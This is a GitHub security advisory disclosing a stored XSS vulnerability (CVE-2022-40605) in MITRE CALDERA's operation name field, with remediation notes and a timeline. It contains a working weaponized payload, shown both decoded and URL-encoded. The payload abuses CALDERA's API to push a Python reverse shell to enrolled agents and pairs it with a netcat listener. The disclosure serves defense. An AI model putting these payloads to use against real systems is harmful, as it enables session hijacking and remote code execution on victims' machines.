Skip to content

Stored XSS in MITRE CALDERA toast function

High
l50 published GHSA-5m86-x5ph-jc47 Sep 22, 2022

Package

CALDERA (MITRE)

Affected versions

< 4.0.0

Patched versions

c04b5ad

Description

Vulnerability Description:

A stored cross-site scripting (XSS) vulnerability was discovered in the Operations page of MITRE CALDERA during a hands-on demo at DEF CON 30. The CALDERA engineering team was present at the event and subsequently were made aware of the vulnerability at that time. Successful exploitation of this vulnerability can provide an attacker with the means to escalate their privileges within the application and the ability to run arbitrary code on any enrolled systems.

The vulnerability was tested on mitre/caldera@9473dce.

Proof of Concept:

  1. Create a Caldera test environment

  2. Login to Caldera with the red user

  3. Click operations in the left-hand menu

  4. Click Create Operation

  5. Provide the following input for the name:

    "><img src=x onerror=prompt(1)>
  6. Click Start

  7. Observe prompt:
    xss1

Weaponized PoC

Setup:

  • Attacker and target running an agent: 192.168.20.146
  • Caldera: http://localhost:8888 (started with docker compose)
  • Pre-existing operation ID: 3b5cc856-b519-4cfb-9502-654cc4ec8311
  • Decoded reverse shell payload for agents:
"><img src=x onerror=$("body").append(decodeURIComponent("<script>function submitRequest()
    {
    var opid = "3b5cc856-b519-4cfb-9502-654cc4ec8311";
    var attacker = "192.168.20.146";
    var paw = "buhmpe";
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http:\/\/localhost:8888\/api\/v2\/operations\/" + opid + "\/potential-links", true);
    xhr.setRequestHeader("Content-Type", "application\/json");
    xhr.setRequestHeader("Accept", "*\/*");
    xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
    xhr.withCredentials = true;
    var body = "{\"paw\":\""+paw+"\",\"executor\":{\"name\":\"sh\",\"platform\":\"darwin\",\"command\":\"export RHOST="+attacker+"; export RPORT=4444; python3 -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\\\"RHOST\\\"),int(os.getenv(\\\"RPORT\\\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\\"/bin/bash\\\")\'\"}}";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i); 
    xhr.send(new Blob([aBody]));
    }
    submitRequest();</script>"))>
  • Encoded payload:
"><img src=x onerror=$("body").append(decodeURIComponent("%3c%73%63%72%69%70%74%3e%66%75%6e%63%74%69%6f%6e%20%73%75%62%6d%69%74%52%65%71%75%65%73%74%28%29%0a%20%20%20%20%7b%0a%20%20%20%20%76%61%72%20%6f%70%69%64%20%3d%20%22%31%61%66%65%35%65%35%31%2d%36%63%33%61%2d%34%36%61%63%2d%61%31%35%61%2d%35%35%36%61%61%36%62%62%62%32%62%63%22%3b%0a%20%20%20%20%76%61%72%20%61%74%74%61%63%6b%65%72%20%3d%20%22%31%39%32%2e%31%36%38%2e%32%30%2e%31%34%36%22%3b%0a%20%20%20%20%76%61%72%20%70%61%77%20%3d%20%22%63%6f%7a%7a%64%67%22%3b%0a%20%20%20%20%76%61%72%20%78%68%72%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%20%20%20%20%78%68%72%2e%6f%70%65%6e%28%22%50%4f%53%54%22%2c%20%22%68%74%74%70%3a%5c%2f%5c%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%38%38%38%5c%2f%61%70%69%5c%2f%76%32%5c%2f%6f%70%65%72%61%74%69%6f%6e%73%5c%2f%22%20%2b%20%6f%70%69%64%20%2b%20%22%5c%2f%70%6f%74%65%6e%74%69%61%6c%2d%6c%69%6e%6b%73%22%2c%20%74%72%75%65%29%3b%0a%20%20%20%20%78%68%72%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%2c%20%22%61%70%70%6c%69%63%61%74%69%6f%6e%5c%2f%6a%73%6f%6e%22%29%3b%0a%20%20%20%20%78%68%72%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%41%63%63%65%70%74%22%2c%20%22%2a%5c%2f%2a%22%29%3b%0a%20%20%20%20%78%68%72%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%22%2c%20%22%65%6e%2d%55%53%2c%65%6e%3b%71%3d%30%2e%39%22%29%3b%0a%20%20%20%20%78%68%72%2e%77%69%74%68%43%72%65%64%65%6e%74%69%61%6c%73%20%3d%20%74%72%75%65%3b%0a%20%20%20%20%76%61%72%20%62%6f%64%79%20%3d%20%22%7b%5c%22%70%61%77%5c%22%3a%5c%22%22%2b%70%61%77%2b%22%5c%22%2c%5c%22%65%78%65%63%75%74%6f%72%5c%22%3a%7b%5c%22%6e%61%6d%65%5c%22%3a%5c%22%73%68%5c%22%2c%5c%22%70%6c%61%74%66%6f%72%6d%5c%22%3a%5c%22%64%61%72%77%69%6e%5c%22%2c%5c%22%63%6f%6d%6d%61%6e%64%5c%22%3a%5c%22%65%78%70%6f%72%74%20%52%48%4f%53%54%3d%22%2b%61%74%74%61%63%6b%65%72%2b%22%3b%20%65%78%70%6f%72%74%20%52%50%4f%52%54%3d%34%34%34%34%3b%20%70%79%74%68%6f%6e%33%20%2d%63%20%5c%27%69%6d%70%6f%72%74%20%73%79%73%2c%73%6f%63%6b%65%74%2c%6f%73%2c%70%74%79%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%6f%73%2e%67%65%74%65%6e%76%28%5c%5c%5c%22%52%48%4f%53%54%5c%5c%5c%22%29%2c%69%6e%74%28%6f%73%2e%67%65%74%65%6e%76%28%5c%5c%5c%22%52%50%4f%52%54%5c%5c%5c%22%29%29%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%64%29%20%66%6f%72%20%66%64%20%69%6e%20%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%5c%5c%5c%22%2f%62%69%6e%2f%62%61%73%68%5c%5c%5c%22%29%5c%27%5c%22%7d%7d%22%3b%0a%20%20%20%20%76%61%72%20%61%42%6f%64%79%20%3d%20%6e%65%77%20%55%69%6e%74%38%41%72%72%61%79%28%62%6f%64%79%2e%6c%65%6e%67%74%68%29%3b%0a%20%20%20%20%66%6f%72%20%28%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%61%42%6f%64%79%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%0a%20%20%20%20%20%20%20%20%61%42%6f%64%79%5b%69%5d%20%3d%20%62%6f%64%79%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%3b%20%0a%20%20%20%20%78%68%72%2e%73%65%6e%64%28%6e%65%77%20%42%6c%6f%62%28%5b%61%42%6f%64%79%5d%29%29%3b%0a%20%20%20%20%7d%0a%20%20%20%20%73%75%62%6d%69%74%52%65%71%75%65%73%74%28%29%3b%3c%2f%73%63%72%69%70%74%3e"))>

Full attack chain

Video: https://drive.google.com/file/d/1Y7i0tuuVul4rY7IY-f95bhfhJAdG70LT/view?usp=sharing

Quick aside: Please note the vulnerability used in the video is a new one that I found. Here's the environment I was working in:

Screen Shot 2022-09-16 at 12 04 55 AM

I have a few other vulnerabilities to report as well and would be happy to get that work going in another advisory if that workflow is reasonable for you all.

Assumptions:

  • We are targeting an admin that logs into the Caldera instance running on http://localhost:8888.
  • The compromised Caldera instance is used to run operations, and subsequently there are existing operations running on that system.
  • An existing operation ID can be found through the /api/v2/operations endpoint.
  1. Set up a netcat listener on the attacker:

    # Running on 192.168.20.146
    nc -lnvp 4444
  2. Deploy an agent (testing was done with Sandcat) on the target that we specified in the setup (192.168.20.146).

  3. Introduce the Encoded payload from above using one of the discovered vulnerabilities.

  4. Trigger the exploit.

  5. Wait for the reverse shell to come in.

Fix:

Remediation strategy provided by Jonathan (Jay) Yee from the MITRE Caldera development team:

The CALDERA team triaged the vulnerability by using JS breakpoints, DOMInvader, and manual investigation. We confirmed the XSS exploit by using different XSS techniques that took advantage of broken IMG tags.

Our findings pointed toward unsanitized input being evaluated in the operation name portion of the toast() function. This function was derived from the bulma-toast JavaScript extension and helped create the dialog box notifying the user when an operation was started.

The finding was patched by creating a sanitize() function that takes a string input, creates a DOMParser instance that converts the string to HTML, then extracts its inner text. This effectively strips all HTML from the input string.

Patched commit

Timeline:

Reported: August 12th, 2022
Acknowledged: August 12th, 2022
Fixed: August 19th, 2022

Severity

High

CVE ID

CVE-2022-40605

Credits